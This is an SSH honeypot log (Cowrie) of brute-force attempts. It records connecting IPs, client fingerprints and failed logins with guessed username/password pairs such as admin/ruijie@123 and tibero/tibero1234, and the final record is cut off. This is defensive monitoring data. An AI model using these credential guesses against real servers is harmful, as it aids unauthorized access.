{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:42.896436Z","src_ip":"128.201.200.162","session":"174be5605b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"foundry","password":"password","message":"login attempt [foundry/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:42.956727Z","src_ip":"42.112.42.129","session":"bf9d74bedf34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:43.006694Z","src_ip":"128.201.200.162","session":"174be5605b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tibero","password":"tibero1234","message":"login attempt [tibero/tibero1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:43.483370Z","src_ip":"128.201.200.162","session":"174be5605b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:44.281196Z","src_ip":"42.112.42.129","session":"bf9d74bedf34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:44.597942Z","src_ip":"128.201.200.162","session":"174be5605b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":51958,"dst_ip":"10.17.0.5","dst_port":22,"session":"14de6b062236","protocol":"ssh","message":"New connection: 165.154.6.89:51958 (10.17.0.5:22) [session: 14de6b062236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:14.623334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:14.628110Z","src_ip":"165.154.6.89","session":"14de6b062236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:14.842435Z","src_ip":"165.154.6.89","session":"14de6b062236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:15.730942Z","src_ip":"165.154.6.89","session":"14de6b062236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:16.948512Z","src_ip":"165.154.6.89","session":"14de6b062236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":47158,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a42387da63d","protocol":"ssh","message":"New connection: 92.118.39.76:47158 (10.17.0.5:22) [session: 5a42387da63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:17.951470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:17.956894Z","src_ip":"92.118.39.76","session":"5a42387da63d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:18.104720Z","src_ip":"92.118.39.76","session":"5a42387da63d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:18.455895Z","src_ip":"92.118.39.76","session":"5a42387da63d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:19.599773Z","src_ip":"92.118.39.76","session":"5a42387da63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":57200,"dst_ip":"159.203.135.109","dst_port":22,"session":"df863a7c5446","protocol":"ssh","message":"New connection: 103.193.178.240:57200 (159.203.135.109:22) [session: df863a7c5446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:37.905347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:37.910424Z","src_ip":"103.193.178.240","session":"df863a7c5446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:38.162180Z","src_ip":"103.193.178.240","session":"df863a7c5446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"Amine123","message":"login attempt [amine/Amine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:39.205030Z","src_ip":"103.193.178.240","session":"df863a7c5446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:41.050384Z","src_ip":"103.193.178.240","session":"df863a7c5446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54108,"dst_ip":"159.203.135.109","dst_port":22,"session":"1799686e808c","protocol":"ssh","message":"New connection: 2.57.122.210:54108 (159.203.135.109:22) [session: 1799686e808c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:46.680811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:46.685463Z","src_ip":"2.57.122.210","session":"1799686e808c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:46.789841Z","src_ip":"2.57.122.210","session":"1799686e808c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:47.109051Z","src_ip":"2.57.122.210","session":"1799686e808c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:50:48.215246Z","src_ip":"2.57.122.210","session":"1799686e808c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":52608,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc445261e803","protocol":"ssh","message":"New connection: 152.52.15.213:52608 (10.17.0.5:22) [session: cc445261e803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:00.060572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:00.068179Z","src_ip":"152.52.15.213","session":"cc445261e803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:00.296308Z","src_ip":"152.52.15.213","session":"cc445261e803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"saeed","password":"1234","message":"login attempt [saeed/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:01.209382Z","src_ip":"152.52.15.213","session":"cc445261e803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:02.441544Z","src_ip":"152.52.15.213","session":"cc445261e803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":21233,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7823e6eb459","protocol":"ssh","message":"New connection: 193.46.255.86:21233 (10.17.0.5:22) [session: a7823e6eb459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:23.705483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:23.710091Z","src_ip":"193.46.255.86","session":"a7823e6eb459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:23.840173Z","src_ip":"193.46.255.86","session":"a7823e6eb459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ruijie@123","message":"login attempt [admin/ruijie@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:24.431531Z","src_ip":"193.46.255.86","session":"a7823e6eb459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:25.563567Z","src_ip":"193.46.255.86","session":"a7823e6eb459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60792,"dst_ip":"10.17.0.5","dst_port":22,"session":"f74add7d4730","protocol":"ssh","message":"New connection: 2.57.122.208:60792 (10.17.0.5:22) [session: f74add7d4730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:28.737941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:28.743249Z","src_ip":"2.57.122.208","session":"f74add7d4730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:28.846886Z","src_ip":"2.57.122.208","session":"f74add7d4730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:29.158668Z","src_ip":"2.57.122.208","session":"f74add7d4730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:30.310840Z","src_ip":"2.57.122.208","session":"f74add7d4730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":52440,"dst_ip":"10.17.0.5","dst_port":22,"session":"89424f0a23c9","protocol":"ssh","message":"New connection: 103.134.154.36:52440 (10.17.0.5:22) [session: 89424f0a23c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:32.479836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:51:32.484263Z","src_ip":"103.134.154.36","session":"89424f0a23c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 